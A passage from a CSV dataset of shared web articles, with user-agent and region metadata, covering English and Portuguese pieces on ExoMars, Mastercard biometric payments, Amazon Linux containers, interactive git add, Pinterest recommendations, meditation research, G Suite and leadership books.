from Schiaparelli to keep the 2020 mission on track. While the Oct. 19 landing attempt marked a major technical hurdle for the 2020 mission, a budgetary checkpoint is due next week when ESA member states convene in Lucerne, Switzerland. The meeting of European government ministers will decide the future of major ESA programs, including ExoMars, which faces a funding shortfall to keep the next mission on track for 2020, a launch that had been set for 2018 until officials announced a delay earlier this year. ESA plans to ask its member states for up to $320 million (about 300 million euros) to cover the budget gap and complete development of European parts of the 2020 mission, such as the rover and a cruise stage to shepherd the lander from Earth to Mars following its liftoff on a Russian Proton booster. ExoMars' top European financial contributor, Italy, appears ready to press on with the 2020 mission. ""ExoMars is extremely important for European science and exploration,"" said Roberto Battiston, president of Italy's ASI space agency, in a statement. ""Together with all the participating states in the program, we will work towards the successful completion of the second ExoMars mission. ESA and ASI's strong partnership will continue to be instrumental in this valuable and exciting European mission."" Meanwhile, the ExoMars Trace Gas Orbiter which successfully entered orbit around Mars as Schiaparelli entered the Martian atmosphere is working smoothly. The orbiter's main missions are to detect trace levels of methane that scientists suspect is regularly pumped into the atmosphere, but experts are not sure what produces the gas. Scientists believe the methane must come from microbial life, or an undetected form of ongoing geologic activity, and the newly-arrived satellite could go far in settling the question. The spacecraft will also map Martian landscapes with an on-board camera, look for water hidden just below the planet's surface, and relay science data and commands between Earth and the ExoMars rover, along with supporting communications with NASA's rovers. The orbiter's science instruments are conducting their first observations at Mars this week, and the craft's relay radio already proved its functionality by recording telemetry from Schiaparelli during its descent. The Trace Gas Orbiter is currently in a highly elliptical orbit around Mars, with a low point between 143 miles (230 kilometers) and 193 miles (310 kilometers), and a high point reaching up to 61,000 miles (98,000 kilometers). With those parameters, it takes the orbiter 4.2 days to complete on lap around Mars. Early next year, ground controllers will guide the orbiter on a series of dips into the rarefied upper atmosphere of Mars, using tiny levels of aerodynamic drag to tug the spacecraft into a circular orbit with an altitude of around 250 miles (400 kilometers). Those aerobreaking maneuvers will take about a year, and the Trace Gas Orbiter should be ready to start its five-year operational mission by March 2018, ESA said. Email the author. Follow Stephen Clark on Twitter: @StephenClark1 .",en
1480445639,CONTENT SHARED,-1104501717379772664,3609194402293569455,-6844574394811761550,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/11/mastercard-disponibiliza-autenticacao-de-pagamento-por-selfie-no-brasil-e-no-mexico/,"Mastercard disponibiliza autenticação de pagamento por ""selfie"" no Brasil e México - Startupi","Durante seu Fórum Anual de Inovação para a América Latina e o Caribe, a Mastercard anunciou o lançamento regional do Identity Check Mobile, uma nova solução para autenticação de pagamentos que utiliza a biometria, incluindo impressão digital e reconhecimento facial, para verificar a identidade do portador do cartão, simplificando as compras online. O Identity Check Mobile chega ao Brasil e ao México após a bem-sucedida implementação em outros 14 países -Estados Unidos, Canadá, Áustria, Bélgica, República Tcheca, Dinamarca, Finlândia, Alemanha, Hungria, Holanda, Noruega, Espanha, Suécia e Reino Unido. Tradicionalmente, os métodos de verificação de identidade existentes levam os compradores para fora do site ou do aplicativo da loja e geralmente exigem que os compradores insiram uma senha para concluir a compra. O Mastercard Identity Check Mobile elimina a necessidade dos portadores de cartão lembrarem de senhas, agilizando muito a experiência de finalização da compra digital e aumentando a segurança. O portador do cartão pode verificar sua identidade utilizando o scanner de impressão digital ou através de tecnologia de reconhecimento facial, bastando tirar uma 'selfie' em seu smartphone. ""Estamos concentrando nossos esforços na simplificação da experiência de pagamentos online, sem comprometer a segurança,"" disse Ajay Bhalla, presidente de Risco e Segurança Corporativos da Mastercard. ""Hoje estamos diante de um marco na evolução dos pagamentos. Após a revolução nas compras físicas com inovações como a tecnologia de chip, agora temos pagamentos sem contato e dispositivos 'wearable'"", complementa.",pt
1480461629,CONTENT SHARED,1561244083438776495,-3203894957285229214,-6851422767977892796,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",ON,CA,HTML,https://aws.amazon.com/blogs/aws/new-amazon-linux-container-image-for-cloud-and-on-premises-workloads/,New Amazon Linux Container Image for Cloud and On-Premises Workloads,"The Amazon Linux AMI is designed to provide a stable, secure, high performance execution environment for applications running on EC2. With limited remote access (no root login and mandatory SSH key pairs) and a very small number of non-critical packages installed, the AMI has a very respectable security profile. Many of our customers have asked us to make this Linux image available for use on-premises, often as part of their development and testing workloads. Today I am happy to announce that we are making the Amazon Linux Container Image available for cloud and on-premises use. The image is available from the EC2 Container Registry (read Pulling an Image to learn how to access it). It is built from the same source code and packages as the AMI and will give you a smooth path to container adoption. You can use it as-is or as the basis for your own images. In order to test this out, I launched a fresh EC2 instance, installed Docker, and then pulled and ran the new image. Then I installed cowsay and lolcat (and the dependencies) and created the image above. To learn more about this image, read Amazon Linux Container Image . You can also use the image with Amazon EC2 Container Service . To learn more, read Using Amazon ECR Images with Amazon ECS . - Jeff ; Comments? Questions? Talk to us",en
1480464213,CONTENT SHARED,-547324075613341407,-8694104221113176052,-2943000659143065382,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,http://computerworld.com.br/senior-solution-paga-r-50-mi-pela-attps-e-reforca-portfolio-com-software-para-core-banking,Senior Solution paga R$ 50 mi pela att/PS e reforça portfólio com software para core banking,"A Senior Solution anunciou a compra da att/PS, fornecedora de softwares para o setor financeiro com 26 anos de atuação, especializada em soluções para bancos, entidades de previdência e operadoras de saúde. Esta é a nona aquisição realizada pela fabricante brasileira de software para o setor financeiro, e a quarta com recursos captados na oferta pública inicial de ações. O valor da transação é de R$ 50 milhões, sendo que uma parcela de R$ 35 milhões será paga à vista e outra parcela a prazo de R$ 15 milhões, desembolsada ao longo de cinco anos. A Senior poderá pagar uma parcela adicional de até R$ 14 milhões, dependendo do cumprimento de determinadas metas em 2017. De acordo com Bernardo Gomes, diretor presidente da Senior Solution, a aquisição da att/PS é motivada por sólidos racionais estratégicos. ""A Senior Solution e a att/PS apresentam um encaixe único, pela alta complementaridade no portfólio de produtos e baixa sobreposição na carteira de clientes"" afirma o executivo. No segmento de bancos, a combinação dos softwares para investimentos da Senior Solution com os softwares para crédito e core banking da att/PS forma o melhor sistema full banking do Brasil. No segmento de entidades de previdência, a união do software para controle de ativos da Senior Solution com o software para previdência da att/PS compõe o sistema mais abrangente do país. Segundo Gomes, os principais beneficiados serão os clientes, que têm buscado simplificar o ambiente de tecnologia com a adoção de soluções one-stop shop. A aquisição da att/PS, que reportou receita líquida de R$ 50 milhões em 2015, é a mais importante já realizada pela Senior Solution e reforça a presença no mercado de softwares para o setor financeiro. Juntas as empresas passam a contar com mais de 800 funcionários e 300 clientes, além de escritórios em São Paulo, Rio de Janeiro, Belo Horizonte e Ribeirão Preto. Os sócios fundadores da att/PS, Elcio Mansur e Luiz Fernando Alvim, continuam à frente do negócio e passam a integrar o time de executivos da Senior Solution. Essa é mais uma aquisição do ciclo de investimentos iniciado na oferta de ações da Senior Solution. ""Captamos R$ 40 milhões, compramos quatro empresas e adicionamos mais de R$ 75 milhões em receita líquida"", celebra Gomes. Segundo o executivo, agora o foco será capturar as sinergias dos negócios adquiridos. ""Mas a estratégia de consolidação continua, ainda existem muitas oportunidades"", conclui Gomes.",pt
1480479633,CONTENT SHARED,-2555801390963402198,3609194402293569455,5184056712487421576,Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0,SP,BR,HTML,http://www.b9.com.br/68394/cultura/curta-do-google-pode-ser-o-primeiro-filme-em-realidade-virtual-indicado-ao-oscar/,Curta do Google pode ser o primeiro filme em realidade virtual indicado ao Oscar,"A Academia de Artes e Ciências Cinematográficas divulgou hoje a lista dos 10 curtas animados que pré-selecionados para o Oscar 2017 . Apenas 5 serão indicados, em anúncio que será feito no dia 24 de janeiro. Entre ""Borrowed Time"" , ""Piper"" da Pixar , ""Inner Workings"" da Disney - que é dirigido pelo brasileiro Leo Matsuda - e outros, um deles chama atenção não só pela qualidade narrativa como também pela mídia. ""Pearl"" é um curta criado em VR, que mostra a jornada de um pai e sua filha do ponto de vista de um carro. Dirigido por Patrick Osborne, animação faz parte do projeto Google Spotlight Stories , que inclui outros seis filmes em realidade virtual Você pode assistir acima, diretamente pelo YouTube , mas é recomendável que faça o download do aplicativo para Android ou iOS e confira através de um Google Cardboard ou similar. o diretor Patrick Osborne já venceu o Oscar anteriormente, com o curta ""Feast"" da Disney, em 2015. A 89ª cerimônia da Academia será realizada no dia 26 de fevereiro, no Dolby Theatre em Hollywood.",pt
1480504938,CONTENT SHARED,-7294716554902079523,4227773676394505435,6923518953276678853,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 Safari/537.36",MG,BR,HTML,http://blog.caelum.com.br/usando-o-git-add-interativo/,Usando o git add interativo,"Muitas vezes, quando estamos desenvolvendo alguma funcionalidade nova, precisamos criar novas classes, modificar outras e até mesmo mexer em algumas partes que não necessariamente são relacionadas com a funcionalidade nova que estamos implementando. Quando terminamos tudo, ficamos com um cenário assim no git: Como você pode ver, no desenvolvimento da funcionalidade de solicitar cotações em meu sistema, eu precisei modificar views, DAOs, modelos, criar novos arquivos css, javascript e um controller. Além disso, durante o desenvolvimento, eu arrumei alguns testes que outro desenvolvedor quebrou e precisei criar novos testes para o código que acabei de criar. O caminho mais rápido pra commitar tudo isso seria fazer tudo em um único commit, com uma mensagem genérica: O problema dessa abordagem é que ela pode tornar mais difícil encontrar quando um bug começou a acontecer, pode atrapalhar outro desenvolvedor que está tentando entender o que aconteceu em cada arquivo e também pois perde boa parte do propósito do git, que é manter um histórico de todas as alterações do projeto. Será que existe alguma coisa que pode nos ajudar dessas situações? Usando o git add interativo O git add interativo é uma ferramenta que nos ajuda a lidar com cenários como esse, ele nos permite adicionar arquivos específicos de forma mais rápida e até mesmo selecionar partes específicas de um arquivo pra commitar. Para usar ela, basta digitar o comando: Logo de primeira ela nos mostra quais são as opções, para usar cada uma delas, basta digitar o número correspondente e dar enter. 1. Status Nos mostra essa mesma tela, listando os arquivos que foram modificados 2. Update Nos permite adicionar as mudanças que fizemos em arquivos já existentes, ou seja, passar arquivos de not staged para staged . Por exemplo: ao digitar o número 2 e dar um enter, ele me mostra uma lista dos arquivos que foram modificados e um número em frente a cada um deles. Para adicionar um arquivo, eu posso tanto digitar apenas o número dele, como 8 ou, se eu quero adicionar mais de um arquivo, posso digitar um intervalo: 1-5 Como você pode ver, os arquivos que eu adicionei ficam com um * do lado. Assim que eu terminar de adicionar todos os arquivos, é só dar mais um enter sem inserir nenhum número para voltar ao menu principal. Pronto, eu adicionei apenas 6 de meus 9 arquivos que foram modificados e agora eu posso escrever uma mensagem de commit bastante detalhada sobre quais modificações eu fiz. Mais opções do git add interativo 3. Revert Permite voltar arquivos que estão staged para not staged . (o mesmo que git reset HEAD caminho/para/o/arquivo.java ) 4. Add untracked Permite adicionar novos arquivos no projeto. (equivalente a git add caminho/para/o/arquivo.java ) 5. Patch Permite escolher um arquivo e adicionar pedaços específicos dele. 6. Diff Nos mostra um diff dos arquivos que estão staged mostrando exatamente as diferenças de cada um dos arquivos que foram modificados. (equivalente ao git diff --cached ) As opções 3 - revert , 4 - add untracked e 6 - diff funcionam de forma idêntica à opção 2 - update , já a opção 5 - patch que nos permite escolher pedaços específicos de nossos arquivos para commitar, será tema de um próximo post. Se você usa bastante o git e quer aprender mais dicas como essa, dê uma olhada em nosso curso online de git",pt
1480505675,CONTENT SHARED,4746056663292225769,-1443636648652872475,-626807706800024466,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://www.fastcompany.com/3065228/mind-and-machine/how-pinterest-uses-machine-learning-to-keep-its-users-pinned,How Pinterest Uses Machine Learning To Keep Its Users Pinned,"Thanks to recent gains in machine learning, computers are getting skilled at picking out patterns and features in text and images. That's how e-commerce giants like Amazon and eBay build sophisticated recommendation systems and how social networks like Facebook and Twitter are tweaking feeds to keep users hooked . Pinterest is no exception, with 30% of engagement tied to personalized real-time suggestions. Here's how Pinterest engineers are leveraging artificial intelligence to keep the website's 150 million-plus users pinning and sharing. Machine learning can not only determine the subject of an image, it can also identify visual patterns and match them to other photos. Pinterest is using this technology to process 150 million image searches per month, helping users find content that looks like pictures they've already pinned. Pin a photo of a cheetah-print pillow, and Pinterest will serve up animal-print decor from other users. Future iterations of the Pinterest app may let users simply point their cameras at real-world objects to get instant recommendations. If a user pins a mid-century dining-room table, the platform can now offer suggestions of other objects from the same era. The key? Metadata, such as the names of pinboards and websites where images have been posted, helps the platform understand what photos represent. While many platforms prioritize content from a user's friends and contacts, Pinterest pays more attention to an individual's tastes and habits-what they've pinned and when-enabling the site to surface more personalized recommendations. After all, friends who like the same recipes may not agree at all on fashion. Pinterest is an increasingly global platform, with more than half of its users based outside the U.S. Its recommendation engine has learned to suggest popular content from users' local region in their native language. One finding: Slow-cooker recipes are more popular in the U.S. than the U.K., where the appliances aren't as common. Analyzing what's in a photo is a big factor in the site's recommendations, but it doesn't offer the whole story. Pinterest also looks at captions from previously pinned content and which items get pinned to the same virtual boards. That allows Pinterest to, say, link a particular dress to the pair of shoes frequently pinned alongside it, even if they look nothing alike. A version of this article appeared in the December 2016/January 2017 issue of Fast Company magazine.",en
1480523016,CONTENT SHARED,7263689301643675785,-4465926797008424436,630451814429789983,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.59 Safari/537.36",SP,BR,HTML,https://medium.com/google-developer-experts/weakreference-in-android-dd1e66b9be9d,WeakReference in Android - Google Developers Experts,"One of my colleagues recently mentioned that they saw a presentation that says: If you are an Android developer and you do not use WeakReferences, you have a problem. I personally think that, not only that is a wrong argument but it is also totally misleading. WeakReference should be the last resort to fix a memory leak. Then today, I came across the post in Google Developers Experts publication by Enrique López Mañas It is very good article that summarize how references work in Java with examples. The article does not say that we have to use WeakReference but it also does not give any alternative. I felt like I must give alternatives to show that it is not a must to use WeakReference. You don't really have any problem if you do not use WeakReference. I believe that it is not the best practice to use WeakReference in every place you can . Using a WeakReference to fix a memory leak indicates a lack of modeling or architecture. Although the example given in the article fixes the potential memory leak, there are other ways. I would like to give couple of example implementations to avoid memory leaks when you have a long running background task. A simple example with AsyncTask to avoid memory leaks would be something like this: Here is my Activity: And here is the AsyncTask: This implementation is of course pretty basic but I think it is enough to showcase another solution.",en
1480537624,CONTENT SHARED,7511744555558105059,-7496361692498935601,4007706965838622185,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,http://www.forbes.com/sites/alicegwalton/2015/02/09/7-ways-meditation-can-actually-change-the-brain/,7 Ways Meditation Can Actually Change The Brain,"The meditation-and-the-brain research has been rolling in steadily for a number of years now, with new studies coming out just about every week to illustrate some new benefit of meditation. Or, rather, some ancient benefit that is just now being confirmed with fMRI or EEG. The practice appears to have an amazing variety of neurological benefits - from changes in grey matter volume to reduced activity in the ""me"" centers of the brain to enhanced connectivity between brain regions. Below are some of the most exciting studies to come out in the last few years and show that meditation really does produce measurable changes in our most important organ. Skeptics, of course, may ask what good are a few brain changes if the psychological effects aren't simultaneously being illustrated? Luckily, there's good evidence for those as well, with studies reporting that meditation helps relieve our subjective levels of anxiety and depression, and improve attention, concentration, and overall psychological well-being. Meditation Helps Preserve the Aging Brain Last week, a study from UCLA found that long-term meditators had better-preserved brains than non-meditators as they aged. Participants who'd been meditating for an average of 20 years had more grey matter volume throughout the brain - although older meditators still had some volume loss compared to younger meditators, it wasn't as pronounced as the non-meditators. ""We expected rather small and distinct effects located in some of the regions that had previously been associated with meditating,"" said study author Florian Kurth. ""Instead, what we actually observed was a widespread effect of meditation that encompassed regions throughout the entire brain."" Meditation Reduces Activity in the Brain's ""Me Center"" One of the most interesting studies in the last few years, carried out at Yale University , found that mindfulness meditation decreases activity in the default mode network (DMN), the brain network responsible for mind-wandering and self-referential thoughts - a.k.a., ""monkey mind."" The DMN is ""on"" or active when we're not thinking about anything in particular, when our minds are just wandering from thought to thought. Since mind-wandering is typically associated with being less happy , ruminating, and worrying about the past and future, it's the goal for many people to dial it down. Several studies have shown that meditation, though its quieting effect on the DMN, appears to do just this. And even when the mind does start to wander, because of the new connections that form, meditators are better at snapping back out of it. Its Effects Rival Antidepressants for Depression, Anxiety A review study last year at Johns Hopkins looked at the relationship between mindfulness meditation and its ability to reduce symptoms of depression, anxiety, and pain. Researcher Madhav Goyal and his team found that the effect size of meditation was moderate, at 0.3. If this sounds low, keep in mind that the effect size for antidepressants is also 0.3, which makes the effect of meditation sound pretty good. Meditation is, after all an active form of brain training. ""A lot of people have this idea that meditation means sitting down and doing nothing,"" says Goyal. ""But that's not true. Meditation is an active training of the mind to increase awareness, and different meditation programs approach this in different ways."" Meditation isn't a magic bullet for depression, as no treatment is, but it's one of the tools that may help manage symptoms. Meditation May Lead to Volume Changes in Key Areas of the Brain In 2011, Sara Lazar and her team at Harvard found that mindfulness meditation can actually change the structure of the brain: Eight weeks of Mindfulness-Based Stress Reduction (MBSR) was found to increase cortical thickness in the hippocampus, which governs learning and memory, and in certain areas of the brain that play roles in emotion regulation and self-referential processing. There were also decreases in brain cell volume in the amygdala, which is responsible for fear, anxiety, and stress - and these changes matched the participants' self-reports of their stress levels, indicating that meditation not only changes the brain, but it changes our subjective perception and feelings as well. In fact, a follow-up study by Lazar's team found that after meditation training, changes in brain areas linked to mood and arousal were also linked to improvements in how participants said they felt - i.e., their psychological well-being. So for anyone who says that activated blobs in the brain don't necessarily mean anything, our subjective experience - improved mood and well-being - does indeed seem to be shifted through meditation as well. Just a Few Days of Training Improves Concentration and Attention Having problems concentrating isn't just a kid thing - it affects millions of grown-ups as well, with an ADD diagnosis or not. Interestingly but not surprisingly, one of the central benefits of meditation is that it improves attention and concentration: One recent study found that just a couple of weeks of meditation training helped people's focus and memory during the verbal reasoning section of the GRE. In fact, the increase in score was equivalent to 16 percentile points, which is nothing to sneeze at. Since the strong focus of attention (on an object, idea, or activity) is one of the central aims of meditation, it's not so surprising that meditation should help people's cognitive skills on the job, too - but it's nice to have science confirm it. And everyone can use a little extra assistance on standardized tests. Meditation Reduces Anxiety - and Social Anxiety A lot of people start meditating for its benefits in stress reduction, and there's lots of good evidence to support this rationale. There's a whole newer sub-genre of meditation, mentioned earlier, called Mindfulness-Based Stress Reduction (MBSR), developed by Jon Kabat-Zinn at the University of Massachusetts' Center for Mindfulness (now available all over the country), that aims to reduce a person's stress level, physically and mentally. Studies have shown its benefits in reducing anxiety, even years after the initial 8-week course. Research has also shown that mindfulness meditation, in contrast to attending to the breath only, can reduce anxiety - and that these changes seem to be mediated through the brain regions associated with those self-referential (""me-centered"") thoughts. Mindfulness meditation has also been shown to help people with social anxiety disorder: a Stanford University team found that MBSR brought about changes in brain regions involved in attention, as well as relief from symptoms of social anxiety. Meditation Can Help with Addiction A growing number of studies has shown that, given its effects on the self-control regions of the brain, meditation can be very effective in helping people recover from various types of addiction. One study , for example, pitted mindfulness training against the American Lung Association's freedom from smoking (FFS) program, and found that people who learned mindfulness were many times more likely to have quit smoking by the end of the training, and at 17 weeks follow-up, than those in the conventional treatment. This may be because meditation helps people ""decouple"" the state of craving from the act of smoking, so the one doesn't always have to lead to the other, but rather you fully experience and ride out the ""wave"" of craving, until it passes. Other research has found that mindfulness training, mindfulness-based cognitive therapy (MBCT), and mindfulness-based relapse prevention (MBRP) can be helpful in treating other forms of addiction. Short Meditation Breaks Can Help Kids in School For developing brains, meditation has as much as or perhaps even more promise than it has for adults. There's been increasing interest from educators and researchers in bringing meditation and yoga to school kids, who are dealing with the usual stressors inside school, and oftentimes additional stress and trauma outside school. Some schools have starting implementing meditation into their daily schedules, and with good effect: One district in San Francisco started a twice daily meditation program in some of its high-risk schools - and saw suspensions decrease, and GPAs and attendance increase. Studies have confirmed the cognitive and emotional benefits of meditation for schoolchildren, but more work will probably need to be done before it gains more widespread acceptance. Worth a Try? Meditation is not a panacea, but there's certainly a lot of evidence that it may do some good for those who practice it regularly. Everyone from Anderson Cooper and congressman Tim Ryan to companies like Google and Apple and Target are integrating meditation into their schedules. And its benefits seem to be felt after a relatively short amount of practice. Some researchers have cautioned that meditation can lead to ill effects under certain circumstances (known as the ""dark night"" phenomenon), but for most people - especially if you have a good teacher - meditation is beneficial, rather than harmful. It's certainly worth a shot: If you have a few minutes in the morning or evening (or both), rather than turning on your phone or going online, see what happens if you try quieting down your mind, or at least paying attention to your thoughts and letting them go without reacting to them. If the research is right, just a few minutes of meditation may make a big difference. WATCH: Some Of The Most Exciting Discoveries To Come Out Of Brain Research Follow me on Twitter or find me on Facebook .",en
1480546204,CONTENT SHARED,-3870325027932266414,-2726721797588771398,3796073328766093624,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.59 Safari/537.36",SP,BR,HTML,https://www.blog.google/products/g-suite/customize-your-g-suite-experience-app-maker-and-recommended-apps/,Customize your G Suite experience with App Maker and Recommended apps,"G Suite is designed to help you do your best work, whether that's through real-time collaboration that brings your teams together or machine intelligence that speeds up everyday tasks. But we understand your company has unique needs and workflows that G Suite alone wasn't built to address. We also know your teams rely on many third-party apps for things like CRM, support, and project management to get their job done. So today, we're announcing two new ways to customize and extend your experience on the G Suite platform: App Maker, a new low-code developer tool for building custom enterprise applications, and the addition of seven new partners to our ""Recommended for G Suite"" third-party partner program. Introducing App Maker, a new way to build powerful apps for your business. App Maker is a low-code, application development tool that lets you quickly build and deploy custom apps tailored to your organization's needs. Whether you're looking for better ways to onboard new team members, staff projects, or approve employee travel requests, App Maker helps you build an app for that in days instead of months. Go from idea to app, fast: App Maker makes it easy for IT or even citizen developers (including analysts and system administrators) to quickly iterate from a prototype all the way to deployed app. It offers a powerful cloud-based IDE that features built-in templates, a drag-and-drop UI, and point-and-click data modeling to accelerate your app development efforts. App Maker also embraces open, and popular standards like HTML, CSS, Javascript and Google's material design visual framework, so developers can build apps quickly, in a development environment that leverages their existing skills and knowledge. Build integrated, tailor-made solutions for every need: App Maker lets you build a range of applications customized to meet the needs of your organization and connects to a wide range of data sources and APIs. This unique flexibility starts with built-in support for G Suite products as well as popular services such as Maps, Contacts, Groups and more. You can also leverage other Google Cloud services such as the Directory API and Prediction API , or third-party APIs, to create richer, more intelligent application experiences. Focus on delivery, not infrastructure: App Maker is built on the same secure and trusted infrastructure as G Suite apps like Gmail, Drive and Docs. Developers can safely deploy custom apps in the cloud without worrying about servers, capacity planning, infrastructure security and monitoring that would otherwise require internal support from IT. Over the past few months, we've previewed App Maker with a handful of large G Suite customers and many have already built and deployed applications to their organizations. We're also working with the following consulting partners to help deliver solutions to our joint customers: Appsbroker , gPartner, G-Workplace , Ignite Synergy , Maven Wave , PwC, SADA Systems, and Tempus Nova . Here are a few ways that enterprise customers and partners have used App Maker to make everyday business processes simpler and more efficient--whether it's to track suspicious login activities, take analog claims processes and make them digital, or track office inventory orders. If you're interested in trying out App Maker, it's available today through our Early Adopter Program f or G Suite Business customers. Apply for the EAP here . Announcing new apps for the 'Recommended for G Suite' program While G Suite helps your teams communicate and collaborate more easily, we get that you also rely on third-party apps to manage other aspects of your business including sales, marketing, and operations. We want to make it easy for you to integrate these solutions with G Suite, and that's why we introduced the Recommended for G Suite program last year. The program selects market leading applications, built by independent software vendors (ISVs), in a range of categories like project management, customer support, finance and accounting. Today, we're adding seven new apps to the program that can help you be more productive. These apps solve critical business problems and offer deep integration and direct support with G Suite. Each app also goes through rigorous security testing and quality measures to qualify for the Recommended for G Suite program. Our new recommended partners include: Since we launched this program with our first eight apps last year, we've seen many examples of how our customers have incorporated them with G Suite to drive more value for their business. We've created a webinar series to show first-hand examples of this, and you can you can sign up here if you're interested in attending. In addition, if you're an ISV that's interested in becoming a Recommended for G Suite partner, please submit your application here . Try these new solutions today We're committed to helping you get the most out of your G Suite experience by fostering the best ecosystem of cloud applications and partners. App Maker enables you to build powerful apps tailored to your organizational needs, while the Recommended for G Suite program helps your teams select leading apps to grow your business. Both solutions are available today, and we encourage you to try them out.",en
1480591146,CONTENT SHARED,-5570795524983603787,3636910968448833585,-4534402222915315423,"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,https://www.gartner.com/doc/reprints?id=1-2XXET8P&ct=160204,Magic Quadrant for Business Intelligence and Analytics Platforms,"This significant shift has accelerated dramatically in recent years, and has finally reached a tipping point that requires a new perspective on the BI and analytics Magic Quadrant and the underlying BI platform definition - to better align with the rapidly evolving buyer and seller dynamics in this complex market.",en
1480598673,CONTENT SHARED,-759389978085260161,-8241940599580729220,-4284824539388316942,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",MG,BR,HTML,https://www.grammarly.com/blog/commonly-confused-words/,Top 30 Commonly Confused Words in English,"Everyone knows the problem with spell-check: your word might be spelled right, but it may be the wrong word. English is full of confusing words that sound alike but are spelled differently. It's also full of words that share similar (but not identical) meanings that are easy to misuse. Below are some of the most commonly confused and misused words in English. Here's a tip: Looking for a specific pair of commonly confused words on this page? Use ctrl+F or command+F to search the page quickly. Affect/Effect Affect is usually a verb: Chester's humming affected Posey's ability to concentrate. Effect is usually a noun: Chester was sorry for the effect his humming had. If you find yourself stumped about which one to use in a sentence, try substituting the word ""alter"" or ""result."" If ""alter"" fits (Chester's humming altered Posey's ability to concentrate), use affect . If ""result"" fits (Chester was sorry for the result his humming had), use effect . Among/Amongst Among is the preferred and most common variant of this word in American English. Amongst is more common in British English. Neither version is wrong, but amongst may seem fussy to American readers. Among/Between Among expresses a collective or loose relationship of several items: Chester found a letter hidden among the papers on the desk. Between expresses the relationship of one thing to another thing or to many other things: Posey spent all day carrying messages between Chester and the other students. The idea that between can be used only when talking about two things is a myth-it's perfectly correct to use between if you are talking about multiple binary relationships. Assure/Ensure/Insure Assure means to tell someone that something will definitely happen or is definitely true: Posey assured Chester that no one would cheat at Bingo. Ensure means to guarantee or make sure of something: Posey took steps to ensure that no one cheated at Bingo. Insure means to take out an insurance policy: Posey was glad the Bingo hall was insured against damage caused by rowdy Bingo players. Empathy/Sympathy Empathy is the ability to understand another person's perspective or feelings. Sympathy is a feeling of sorrow for someone else's suffering. A sympathizer is someone who agrees with a particular ideal or cause. It's/Its It's is a contraction of ""it is"": Posey needs to pack for her trip because it's only two days away. Its is a possessive pronoun that means ""belonging to it"": Chester is obsessed with both the book and its author. To lay means to put or to place. One way to remember this is that there is an a in both to lay and to place : Posey will lay out her outfit before she goes to bed. To lie means to recline. One way to remember this is that there is an e in both to lie and to recline : Chester will lie down for a nap. Be careful, though. The past tense of to lay is laid : Posey laid out her outfit. The past tense of to lie is lay : Chester lay down for a nap over an hour ago. Lead/Led Lead , when it rhymes with ""bed,"" refers to a type of metal: Posey wore a lead apron while the dentist X-rayed her teeth. Led is the past tense of the verb to lead , which means to guide or to be first: Chester led the way. Inquiry/Enquiry Inquiry and enquiry both mean ""a request for information."" Inquiry is the standard American English spelling. Enquiry is the British spelling. Their/There/They're Their is the possessive form of ""they"": Chester and Posey took their time. There indicates a place: It took them an hour to get there. They're is a contraction of ""they are"": Are Chester and Posey coming? They're almost here. To is a preposition that can indicate direction: Posey walked to school. She said hello to Chester when she saw him. To is also used in the infinitive form of verbs: Chester waited until the last minute to do his homework. Too is used as an intensifier, and also means ""also"": Posey waited too long to do her homework, too. Who's/Whose Who's is a contraction of ""who is"": Who's calling Chester at this hour? Whose is a possessive pronoun that means ""belonging to [someone]"": Chester, whose phone hadn't stopped ringing all morning, barely ate anything for breakfast.",en
1480601802,CONTENT SHARED,8355302955998803709,3609194402293569455,-2273556421174390613,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://saiadolugar.com.br/livros-sobre-lideranca/,Livros sobre liderança: os 10 melhores livros para bons líderes,"O ano está quase acabando, mas ainda dá tempo de tirar planos do papel e construir hábitos que determinarão o seu sucesso em 2017. Se a sua meta é se tornar um líder melhor e aprimorar as suas práticas de gestão, principalmente, quando se trata do próprio negócio, a leitura pode ser uma grande aliada. Livros sobre liderança que tem muito o que ensinar para um empreendedor Para te ajudar, reunimos os dez melhores livros sobre liderança que vão impulsionar a sua carreira! 7 Hábitos das pessoas altamente eficazes (Stephen Covey) Stephen Covey se transformou em um dos autores mais influentes do século no mundo dos negócios, graças a este livro sobre liderança. A sua proeza foi fugir do que o restante estava fazendo ao prometer fórmulas milagrosas para alcançar o sucesso e se focar em aspectos realmente eficazes para estimular profissionais a melhorarem o seu desempenho. E, como empreendedor, você já deve saber que os hábitos podem determinar a sua vitória ou fracasso. Mas você sabe em quais deles se focar? Ou quais deles deve mudar? Em os ""7 Hábitos das pessoas altamente eficazes"", Covey responde a essas perguntas e traz outras dicas para que o líder seja capaz de aprimorar sua personalidade, criar objetivos alcançáveis, atuar melhor em equipe e se renovar continuamente para alcançar o sucesso que deseja. A essência do líder (Warren Bennis) O que torna alguém um bom líder? Com essa pergunta, o autor Warren Bennis entrevistou dezenas de gestores que se destacavam na sua área de atuação - de executivos a cientistas, em busca dos aspectos que transformam pessoas comuns em líderes natos. O resultado foi um livro com diversos pontos de vista sobre a verdadeira essência da liderança e os maiores segredos 